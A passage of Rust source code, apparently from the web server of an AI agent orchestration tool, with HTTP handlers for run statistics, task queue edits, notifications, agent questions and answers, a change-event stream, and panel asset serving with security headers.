5684 completion_rate: Option<RateView>,
5685}
5686
5687impl From<&stats::RepoStats> for RepoSummaryView {
5688 fn from(r: &stats::RepoStats) -> Self {
5689 let t = &r.stats.totals;
5690 Self {
5691 repo: r.repo.to_string_lossy().into_owned(),
5692 name: r.name.clone(),
5693 runs: t.runs,
5694 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5695 }
5696 }
5697}
5698
5699#[derive(Debug, Serialize)]
5705struct StatsView {
5706 totals: StatsTotalsView,
5707 agents: Vec<AgentStatsView>,
5709 reviewers: Vec<ReviewerStatsView>,
5711 advisors: Vec<AdvisorStatsView>,
5713 e2e: E2eStatsView,
5714 release_bumps: ReleaseBumpStatsView,
5715 queue: TaskCountsView,
5716 runs_unreadable: usize,
5726 repos: Vec<RepoSummaryView>,
5730 daily: Vec<DailyStatsView>,
5735 repo: Option<String>,
5739 retired_hidden: Vec<String>,
5743}
5744
5745#[derive(Debug, Serialize)]
5747struct DailyStatsView {
5748 date: String,
5750 runs: usize,
5751 merged: usize,
5752 ready: usize,
5753 other: usize,
5754 completion_rate: Option<RateView>,
5756}
5757
5758impl From<&stats::DayBucket> for DailyStatsView {
5759 fn from(b: &stats::DayBucket) -> Self {
5760 Self {
5761 date: b.date.to_string(),
5762 runs: b.runs,
5763 merged: b.merged,
5764 ready: b.ready,
5765 other: b.other,
5766 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5767 }
5768 }
5769}
5770
5771const STATS_DAILY_DAYS: usize = 30;
5773
5774#[derive(Debug, Default, Deserialize)]
5783#[serde(default)]
5784struct StatsQuery {
5785 repo: Option<String>,
5786 all: bool,
5788}
5789
5790async fn stats_get(
5797 State(ui): State<Arc<Ui>>,
5798 Query(q): Query<StatsQuery>,
5799) -> ApiResult<Json<StatsView>> {
5800 blocking(move || {
5801 let states: Vec<RunState> = run_ids(&ui.runs)
5802 .into_iter()
5803 .filter_map(|id| read_run(&ui.runs, &id).ok())
5804 .collect();
5805 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5806 .iter()
5807 .map(RepoSummaryView::from)
5808 .collect();
5809 let mut scoped: Vec<&RunState> = states.iter().collect();
5810 let mut collected = match &q.repo {
5811 Some(repo) => {
5812 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5813 if filtered.is_empty() {
5814 return Err(ApiError::not_found(format!(
5815 "no runs recorded against repo `{repo}`"
5816 )));
5817 }
5818 scoped = filtered.clone();
5819 stats::collect_refs(filtered)
5820 }
5821 None => stats::collect(&states),
5822 };
5823 if !q.all {
5824 let repo = q
5825 .repo
5826 .as_deref()
5827 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5828 stats::retain_current_roster(&mut collected, &repo);
5829 }
5830 let daily = stats::daily(
5831 scoped,
5832 jiff::Zoned::now().date(),
5833 &jiff::tz::TimeZone::system(),
5834 STATS_DAILY_DAYS,
5835 );
5836 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5837 Ok(Json(StatsView {
5838 totals: StatsTotalsView::from(&collected.totals),
5839 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5840 reviewers: collected
5841 .reviewers
5842 .iter()
5843 .map(ReviewerStatsView::from)
5844 .collect(),
5845 advisors: collected
5846 .advisors
5847 .iter()
5848 .map(AdvisorStatsView::from)
5849 .collect(),
5850 e2e: E2eStatsView::from(&collected.e2e),
5851 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5852 queue: TaskCountsView::from(queue_counts),
5853 runs_unreadable: runs_unreadable(&ui.runs),
5854 repos,
5855 daily: daily.iter().map(DailyStatsView::from).collect(),
5856 repo: q.repo.clone(),
5857 retired_hidden: collected.retired_hidden.clone(),
5858 }))
5859 })
5860 .await
5861}
5862
5863#[derive(Debug, Default, Deserialize)]
5866#[serde(default, deny_unknown_fields)]
5867struct HoldBody {
5868 reason: Option<String>,
5869}
5870
5871async fn queue_hold(
5872 State(ui): State<Arc<Ui>>,
5873 Path(id): Path<String>,
5874 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5875) -> ApiResult<Json<TaskView>> {
5876 let body = match body {
5880 Ok(Json(body)) => body,
5881 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5882 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5883 };
5884 let reason = body.reason.filter(|r| !r.trim().is_empty());
5885 mutate(ui, id, move |t| {
5886 t.hold_manual(reason.clone());
5887 Ok(())
5888 })
5889 .await
5890}
5891
5892async fn queue_release(
5893 State(ui): State<Arc<Ui>>,
5894 Path(id): Path<String>,
5895) -> ApiResult<Json<TaskView>> {
5896 mutate(ui, id, |t| {
5897 t.release_operator("web", None);
5898 Ok(())
5899 })
5900 .await
5901}
5902
5903#[derive(Debug, Deserialize)]
5904#[serde(deny_unknown_fields)]
5905struct AttemptLimitBody {
5906 attempt_limit: serde_json::Value,
5908}
5909
5910async fn queue_attempt_limit(
5911 State(ui): State<Arc<Ui>>,
5912 Path(id): Path<String>,
5913 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5914) -> ApiResult<Json<TaskView>> {
5915 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5916 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5917 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5918 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5919}
5920
5921#[derive(Debug, Deserialize)]
5922#[serde(deny_unknown_fields)]
5923struct ImplementersBody {
5924 implementers: u8,
5925}
5926
5927async fn queue_implementers(
5928 State(ui): State<Arc<Ui>>,
5929 Path(id): Path<String>,
5930 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5931) -> ApiResult<Json<TaskView>> {
5932 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5933 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5934}
5935
5936#[derive(Debug, Deserialize)]
5937#[serde(deny_unknown_fields)]
5938struct UrgentBody {
5939 urgent: bool,
5940}
5941
5942async fn queue_urgent(
5943 State(ui): State<Arc<Ui>>,
5944 Path(id): Path<String>,
5945 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5946) -> ApiResult<Json<TaskView>> {
5947 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5948 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5949}
5950
5951#[derive(Debug, Deserialize)]
5953#[serde(deny_unknown_fields)]
5954struct PriorityBody {
5955 priority: i32,
5956}
5957
5958async fn queue_priority(
5964 State(ui): State<Arc<Ui>>,
5965 Path(id): Path<String>,
5966 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5967) -> ApiResult<Json<TaskView>> {
5968 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5969 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5970}
5971
5972#[derive(Debug, Deserialize)]
5974#[serde(deny_unknown_fields)]
5975struct EditBody {
5976 title: String,
5977 instruction: String,
5978 #[serde(default)]
5981 force: bool,
5982}
5983
5984async fn queue_edit(
5988 State(ui): State<Arc<Ui>>,
5989 Path(id): Path<String>,
5990 body: std::result::Result<Json<EditBody>, JsonRejection>,
5991) -> ApiResult<Json<TaskView>> {
5992 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5993 let mut judged: Option<(String, PathBuf)> = None;
5997 if !body.force {
5998 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5999 let (id, text) = (id.clone(), body.instruction.clone());
6000 let (seen, hits) = blocking(move || {
6001 let id = resolve_task(&queue, &id)?;
6002 let t = queue.get(&id)?;
6003 if text == t.instruction {
6004 return Ok((None, Vec::new()));
6005 }
6006 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6007 Ok((Some((t.instruction, t.repo)), hits))
6008 })
6009 .await?;
6010 if let Some((_, repo)) = &seen {
6011 let cfg = crate::config::Config::discover(repo, None)
6012 .ok()
6013 .map(|(c, _)| c);
6014 let screened =
6015 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6016 .await
6017 .map_err(|dup| {
6018 ApiError::conflict(dup.render(
6019 "Nothing was saved. If it is not a duplicate, repeat the request \
6020 with \"force\": true.",
6021 ))
6022 })?;
6023 if let crate::dupes::Screened::Unjudged(why) = screened {
6024 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6025 }
6026 }
6027 judged = seen;
6028 }
6029 let force = body.force;
6030 mutate(ui, id, move |t| {
6031 if !force && body.instruction != t.instruction {
6032 match &judged {
6033 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6034 _ => {
6035 anyhow::bail!("the task changed while it was being checked; repeat the request")
6036 }
6037 }
6038 }
6039 t.edit(body.title.clone(), body.instruction.clone())
6040 })
6041 .await
6042}
6043
6044async fn queue_done(
6052 State(ui): State<Arc<Ui>>,
6053 Path(id): Path<String>,
6054) -> ApiResult<Json<TaskView>> {
6055 let home = ui.home.clone();
6056 mutate(ui, id, move |t| {
6057 t.succeed();
6058 crate::daemon::supersede_prior_runs(t, &home);
6066 Ok(())
6067 })
6068 .await
6069}
6070
6071async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6079 blocking(move || {
6080 let id = resolve_task(&ui.queue, &id)?;
6081 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6082 ui.queue
6083 .remove(&id, in_flight, &ui.questions)
6084 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6085 Ok(StatusCode::NO_CONTENT)
6086 })
6087 .await
6088}
6089
6090async fn mutate(
6099 ui: Arc<Ui>,
6100 id: String,
6101 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6102) -> ApiResult<Json<TaskView>> {
6103 blocking(move || {
6104 let id = resolve_task(&ui.queue, &id)?;
6105 let _claim = ui.queue.claim(&id).map_err(|e| {
6110 ApiError::conflict(format!(
6111 "{e:#} - a daemon is running this task, so it cannot be \
6112 changed from here yet; wait until it is released, then retry"
6113 ))
6114 })?;
6115 let mut task = ui.queue.get(&id)?;
6116 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6117 Ok(dup) => ApiError::conflict(dup.render(
6118 "Nothing was saved. If it is not a duplicate, repeat the request with \
6119 \"force\": true.",
6120 )),
6121 Err(e) => ApiError::bad_request_from(e),
6122 })?;
6123 ui.queue.put(&mut task)?;
6124 Ok(Json(TaskView::from(task)))
6125 })
6126 .await
6127}
6128
6129async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6137 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6138 tokio::spawn(async move {
6139 let mut ticker = tokio::time::interval(POLL);
6140 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6141 let mut stamps: Option<[Stamps; 3]> = None;
6142 loop {
6143 ticker.tick().await;
6146 let state = Arc::clone(&ui);
6147 let revisions = tokio::task::spawn_blocking(move || {
6148 let stamps = [
6149 store_stamps(state.queue.root(), false),
6150 store_stamps(&state.runs, true),
6151 store_stamps(state.talks.root(), false),
6152 ];
6153 let revisions = (
6154 stamps_revision(&stamps[0]),
6155 stamps_revision(&stamps[1]),
6156 state.questions.revision(),
6157 stamps_revision(&stamps[2]),
6158 state.notices.revision(),
6159 state.lock_loop().rev,
6163 );
6164 (revisions, stamps)
6165 })
6166 .await;
6167 let Ok((revisions, next_stamps)) = revisions else {
6168 break;
6169 };
6170 if last == Some(revisions) {
6171 continue;
6172 }
6173 let mut payload = serde_json::json!({
6174 "queue_rev": revisions.0,
6175 "runs_rev": revisions.1,
6176 "questions_rev": revisions.2,
6177 "talks_rev": revisions.3,
6178 "notifications_rev": revisions.4,
6179 "loop_rev": revisions.5,
6180 });
6181 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6182 for (index, (key, rev)) in [
6183 ("queue_delta", base.0),
6184 ("runs_delta", base.1),
6185 ("talks_delta", base.3),
6186 ]
6187 .into_iter()
6188 .enumerate()
6189 {
6190 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6191 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6193 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6194 }
6195 }
6196 }
6197 last = Some(revisions);
6198 stamps = Some(next_stamps);
6199 let Ok(event) = Event::default().event("change").json_data(payload) else {
6201 break;
6202 };
6203 if tx.send(event).await.is_err() {
6204 break;
6205 }
6206 }
6207 });
6208 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6209 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6210}
6211
6212type Stamps = HashMap<String, (u128, u64)>;
6213
6214fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6216 std::fs::read_dir(root)
6217 .into_iter()
6218 .flatten()
6219 .flatten()
6220 .filter_map(|entry| {
6221 let path = if runs {
6222 entry.path().join("run.json")
6223 } else {
6224 entry.path()
6225 };
6226 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6227 return None;
6228 }
6229 let metadata = path.metadata().ok()?;
6230 let modified = metadata
6231 .modified()
6232 .ok()?
6233 .duration_since(std::time::UNIX_EPOCH)
6234 .ok()?;
6235 let id = if runs {
6236 entry.file_name().to_string_lossy().into_owned()
6237 } else {
6238 path.file_stem()?.to_string_lossy().into_owned()
6239 };
6240 Some((id, (modified.as_nanos(), metadata.len())))
6241 })
6242 .collect()
6243}
6244
6245#[derive(Debug, Serialize)]
6246struct Delta {
6247 base: u64,
6248 changed: Vec<String>,
6249 removed: Vec<String>,
6250}
6251
6252fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6253 let mut changed: Vec<_> = next
6254 .iter()
6255 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6256 .map(|(id, _)| id.clone())
6257 .collect();
6258 let mut removed: Vec<_> = previous
6259 .keys()
6260 .filter(|id| !next.contains_key(*id))
6261 .cloned()
6262 .collect();
6263 changed.sort_unstable();
6264 removed.sort_unstable();
6265 Delta {
6266 base,
6267 changed,
6268 removed,
6269 }
6270}
6271
6272fn runs_revision(runs: &FsPath) -> u64 {
6279 stamps_revision(&store_stamps(runs, true))
6280}
6281
6282fn stamps_revision(stamps: &Stamps) -> u64 {
6286 use std::hash::{Hash as _, Hasher as _};
6287 if stamps.is_empty() {
6288 return 0;
6289 }
6290 let mut entries: Vec<_> = stamps.iter().collect();
6291 entries.sort_unstable();
6292 let mut hasher = std::hash::DefaultHasher::new();
6293 entries.hash(&mut hasher);
6294 hasher.finish().max(1)
6295}
6296
6297fn run_ids(runs: &FsPath) -> Vec<String> {
6303 let mut ids: Vec<String> = std::fs::read_dir(runs)
6304 .into_iter()
6305 .flatten()
6306 .flatten()
6307 .filter(|e| e.path().join("run.json").is_file())
6308 .map(|e| e.file_name().to_string_lossy().into_owned())
6309 .collect();
6310 ids.sort_unstable_by(|a, b| b.cmp(a));
6312 ids
6313}
6314
6315fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6317 let path = runs.join(id).join("run.json");
6318 let body =
6319 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6320 let state: RunState =
6321 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6322 run::migrate_schema(state)
6327}
6328
6329#[must_use]
6337pub fn runs_unreadable(runs: &FsPath) -> usize {
6338 run_ids(runs)
6339 .into_iter()
6340 .filter(|id| read_run(runs, id).is_err())
6341 .count()
6342}
6343
6344fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6346 if runs.join(id).join("run.json").is_file() {
6347 return Ok(id.to_owned());
6348 }
6349 pick(run_ids(runs), id, "run")
6350}
6351
6352fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6354 if queue.path_of(id).is_file() {
6355 return Ok(id.to_owned());
6356 }
6357 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6358}
6359
6360#[derive(Debug, Serialize)]
6371struct QuestionView {
6372 #[serde(flatten)]
6373 question: Question,
6374 detail_md: Vec<md::Node>,
6375 posting_view: Option<PostingView>,
6376 thread_bodies_md: Vec<Vec<md::Node>>,
6378 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6381 waiting_on_agent: bool,
6391 holder: Option<&'static str>,
6395 deputies_enabled: bool,
6399 deputy_exhausted: bool,
6402 run_is_task: bool,
6405 origin_chat: Option<String>,
6408 origin_chat_closed: bool,
6410 can_consult_chat: bool,
6412}
6413
6414#[derive(Debug, Serialize)]
6415struct PostingView {
6416 before_md: Vec<md::Node>,
6417 after_md: Vec<md::Node>,
6418 fields: Vec<crate::github_text::ComparisonView>,
6419}
6420
6421fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6422 let comparison = question.posting_comparison.as_ref()?;
6423 if !comparison.matches_detail(&question.detail) {
6424 return None;
6425 }
6426 let mut ids = std::collections::BTreeSet::new();
6427 if comparison.fields.is_empty()
6428 || comparison
6429 .fields
6430 .iter()
6431 .flat_map(|f| &f.pairs)
6432 .any(|p| !ids.insert(p.id))
6433 || comparison
6434 .fields
6435 .iter()
6436 .flat_map(|f| &f.original_triggers)
6437 .any(|t| !ids.insert(t.id))
6438 {
6439 return None;
6440 }
6441 let fields = comparison
6442 .fields
6443 .iter()
6444 .map(|f| f.view(comparison.excerpt))
6445 .collect::<Option<Vec<_>>>()?;
6446 Some(PostingView {
6447 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6448 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6449 fields,
6450 })
6451}
6452
6453impl QuestionView {
6454 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6458 let base = md::ImageBase::QuestionPanel {
6459 id: question.id.clone(),
6460 };
6461 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6462 Self {
6463 detail_md: md::to_nodes(&question.detail, &base),
6464 posting_view: posting_view(&question, &base),
6465 thread_bodies_md: question
6466 .thread
6467 .iter()
6468 .map(|t| md::to_nodes(&t.body, &base))
6469 .collect(),
6470 thread_notes_md: question
6471 .thread
6472 .iter()
6473 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6474 .collect(),
6475 deputy_exhausted: store.deputy_exhausted(&question),
6476 waiting_on_agent: question.waiting_on_agent(),
6477 holder,
6478 deputies_enabled,
6479 run_is_task: question.run_names_task(),
6480 origin_chat: None,
6481 origin_chat_closed: false,
6482 can_consult_chat: false,
6483 question,
6484 }
6485 }
6486
6487 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6489 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6490 self.can_consult_chat = consult.is_some();
6491 let talk =
6492 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6493 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6494 self.origin_chat = talk.map(|t| t.id);
6495 self
6496 }
6497}
6498
6499fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6503 Config::discover(repo, None).ok().map(|(c, _)| c)
6504}
6505
6506fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6508 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6509}
6510
6511fn question_views(
6514 qs: Vec<Question>,
6515 store: &ask::Questions,
6516 load: impl FnOnce() -> Option<Config>,
6517) -> Vec<QuestionView> {
6518 if qs.is_empty() {
6519 return Vec::new();
6520 }
6521 let cfg = load();
6522 qs.into_iter()
6523 .map(|q| {
6524 let on = deputies_enabled(cfg.as_ref(), &q);
6525 QuestionView::of(q, store, on)
6526 })
6527 .collect()
6528}
6529
6530fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6540 if !q.status.open() {
6541 return None;
6542 }
6543 if q.cwd.is_none() && q.deputy.is_none() {
6544 return crate::deputy::kind_of(q).map(|_| "nobody");
6545 }
6546 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6547 Some(_) if q.deputy.is_some() => "deputy",
6548 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6549 Some(_) => "asker",
6550 None => "nobody",
6551 })
6552}
6553
6554async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6560 blocking(move || {
6561 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6562 Ok(Json(
6563 question_views(ui.questions.list(), &ui.questions, || {
6564 deputy_config(&ui.repo)
6565 })
6566 .into_iter()
6567 .map(|v| v.with_origin(&tasks, &talks))
6568 .collect(),
6569 ))
6570 })
6571 .await
6572}
6573
6574async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6577 blocking(move || {
6578 let items = ui.notices.list();
6579 let unread = items.iter().filter(|n| n.unread()).count();
6580 Ok(Json(
6581 serde_json::json!({ "unread": unread, "items": items }),
6582 ))
6583 })
6584 .await
6585}
6586
6587fn notice_error(e: anyhow::Error) -> ApiError {
6588 ApiError::not_found(format!("{e:#}"))
6591}
6592
6593async fn notification_read(
6595 State(ui): State<Arc<Ui>>,
6596 Path(id): Path<String>,
6597) -> ApiResult<Json<Notice>> {
6598 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6599}
6600
6601async fn notification_dismiss(
6603 State(ui): State<Arc<Ui>>,
6604 Path(id): Path<String>,
6605) -> ApiResult<Json<Notice>> {
6606 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6607}
6608
6609async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6611 blocking(move || {
6612 let changed = ui.notices.mark_all_read()?;
6613 Ok(Json(serde_json::json!({ "marked": changed })))
6614 })
6615 .await
6616}
6617
6618#[derive(Debug, Default, Deserialize)]
6624#[serde(default, deny_unknown_fields)]
6625struct NewAnswer {
6626 choice: Option<String>,
6627 text: Option<String>,
6628}
6629
6630async fn question_answer(
6631 State(ui): State<Arc<Ui>>,
6632 Path(id): Path<String>,
6633 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6634) -> ApiResult<Json<QuestionView>> {
6635 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6636 let answer = match (body.choice, body.text) {
6637 (Some(c), None) => Answer::Choice(c),
6638 (None, Some(t)) => Answer::Text(t),
6639 (Some(_), Some(_)) => {
6640 return Err(ApiError::bad_request(
6641 "send either `choice` or `text`, not both",
6642 ));
6643 }
6644 (None, None) => {
6645 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6646 }
6647 };
6648
6649 blocking(move || {
6650 let id = resolve_question(&ui.questions, &id)?;
6651 let q = ui
6652 .questions
6653 .get(&id)
6654 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6655 if !q.status.open() {
6656 return Err(ApiError::conflict(format!(
6660 "question {} is already {}",
6661 q.short(),
6662 q.status.as_str()
6663 )));
6664 }
6665 let (q, ()) = ui
6669 .questions
6670 .update(&q.id, |r| r.answer(answer))
6671 .map_err(ApiError::bad_request_from)?;
6672 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6673 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6674 Ok(Json(
6675 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6676 ))
6677 })
6678 .await
6679}
6680
6681#[derive(Debug, Deserialize)]
6683#[serde(deny_unknown_fields)]
6684struct NewSay {
6685 body: String,
6686}
6687
6688async fn question_say(
6698 State(ui): State<Arc<Ui>>,
6699 Path(id): Path<String>,
6700 body: std::result::Result<Json<NewSay>, JsonRejection>,
6701) -> ApiResult<Json<QuestionView>> {
6702 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6703 blocking(move || {
6704 let id = resolve_question(&ui.questions, &id)?;
6705 let q = ui
6706 .questions
6707 .get(&id)
6708 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6709 if !q.status.open() {
6710 return Err(ApiError::conflict(format!(
6714 "question {} is already {}",
6715 q.short(),
6716 q.status.as_str()
6717 )));
6718 }
6719 let (q, ()) = ui
6722 .questions
6723 .update(&q.id, |r| r.say(body.body))
6724 .map_err(ApiError::bad_request_from)?;
6725 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6726 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6727 Ok(Json(
6728 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6729 ))
6730 })
6731 .await
6732}
6733
6734async fn question_consult(
6743 State(ui): State<Arc<Ui>>,
6744 Path(id): Path<String>,
6745) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6746 let (view, reclaimed) = blocking({
6747 let ui = Arc::clone(&ui);
6748 move || {
6749 let id = resolve_question(&ui.questions, &id)?;
6750 let q = ui
6751 .questions
6752 .get(&id)
6753 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6754 if !q.status.open() {
6755 return Err(ApiError::conflict(format!(
6756 "question {} is already {}",
6757 q.short(),
6758 q.status.as_str()
6759 )));
6760 }
6761 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6762 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6763 return Err(ApiError::conflict(format!(
6764 "question {} has no chat to ask",
6765 q.short()
6766 )));
6767 };
6768 let cfg = if q.consult.is_none() {
6772 Some(Config::discover(&talk.repo, None)?.0)
6773 } else {
6774 None
6775 };
6776 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6777 let claim = if fresh {
6778 match ui.begin_queued_talk_turn(&talk.id)? {
6779 Some(turn_guard) => {
6780 let talk = ui.talks.get(&talk.id)?;
6781 let cfg = match cfg {
6782 Some(cfg) => cfg,
6783 None => Config::discover(&talk.repo, None)?.0,
6784 };
6785 Some((talk, cfg, turn_guard))
6786 }
6787 None => None,
6788 }
6789 } else {
6790 None
6791 };
6792 let q = ui.questions.get(&q.id)?;
6793 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6794 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6795 Ok((view, claim))
6796 }
6797 })
6798 .await?;
6799 if let Some((talk, cfg, turn_guard)) = reclaimed {
6800 let talks = ui.talks.clone();
6801 let id = talk.id.clone();
6802 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6803 }
6804 Ok((StatusCode::ACCEPTED, Json(view)))
6805}
6806
6807fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6809 if store.path_of(id).is_file() {
6810 return Ok(id.to_owned());
6811 }
6812 pick(
6813 store.list().into_iter().map(|q| q.id).collect(),
6814 id,
6815 "question",
6816 )
6817}
6818
6819async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6834 blocking(move || {
6835 let id = resolve_question(&ui.questions, &id)?;
6836 let Some(html) = ui.questions.panel_html(&id) else {
6837 return Err(ApiError::not_found(format!("question {id} has no panel")));
6838 };
6839 Ok(panel_response(
6840 "text/html; charset=utf-8",
6841 false,
6842 html.into_bytes(),
6843 ))
6844 })
6845 .await
6846}
6847
6848async fn question_asset(
6876 State(ui): State<Arc<Ui>>,
6877 Path((id, name)): Path<(String, String)>,
6878) -> ApiResult<Response> {
6879 if !crate::ask::valid_asset_name(&name) {
6882 return Err(ApiError::bad_request(format!(
6883 "`{name}` is not a usable asset name"
6884 )));
6885 }
6886 blocking(move || {
6887 let id = resolve_question(&ui.questions, &id)?;
6888 let asset = ui
6889 .questions
6890 .panel_asset(&id, &name)
6891 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6892 let Some(bytes) = asset else {
6893 return Err(ApiError::not_found(format!(
6894 "question {id} has no asset `{name}`"
6895 )));
6896 };
6897 Ok(panel_response(
6898 asset_content_type(&name),
6899 is_svg(&name),
6900 bytes,
6901 ))
6902 })
6903 .await
6904}
6905
6906fn asset_content_type(name: &str) -> &'static str {
6919 match extension(name).as_deref() {
6920 Some("png") => "image/png",
6921 Some("jpg" | "jpeg") => "image/jpeg",
6922 Some("gif") => "image/gif",
6923 Some("webp") => "image/webp",
6924 Some("svg") => "image/svg+xml",
6925 Some("css") => "text/css; charset=utf-8",
6926 Some("txt") => "text/plain; charset=utf-8",
6927 _ => "application/octet-stream",
6928 }
6929}
6930
6931fn is_svg(name: &str) -> bool {
6934 extension(name).as_deref() == Some("svg")
6935}
6936
6937fn extension(name: &str) -> Option<String> {
6939 name.rsplit_once('.')
6940 .map(|(_, ext)| ext.to_ascii_lowercase())
6941}
6942
6943fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6960 let mut res = (
6961 [
6962 (header::CONTENT_TYPE, content_type),
6963 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6964 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6965 (header::REFERRER_POLICY, "no-referrer"),
6966 ],
6967 body,
6968 )
6969 .into_response();
6970 if download {
6971 res.headers_mut().insert(
6972 header::CONTENT_DISPOSITION,
6973 HeaderValue::from_static("attachment"),
6974 );
6975 }
6976 res
6977}
6978
6979#[derive(Debug, Serialize)]
6985struct TalkView {
6986 #[serde(flatten)]
6987 talk: Talk,
6988 turn_bodies_md: Vec<Vec<md::Node>>,
6989 thinking: bool,
6997 context: talk::ContextUsage,
7001 operator_name: Option<String>,
7004 persona_name: Option<String>,
7006 persona_avatar: String,
7009 operator_avatar: String,
7011 magi_avatar: String,
7012}
7013
7014impl TalkView {
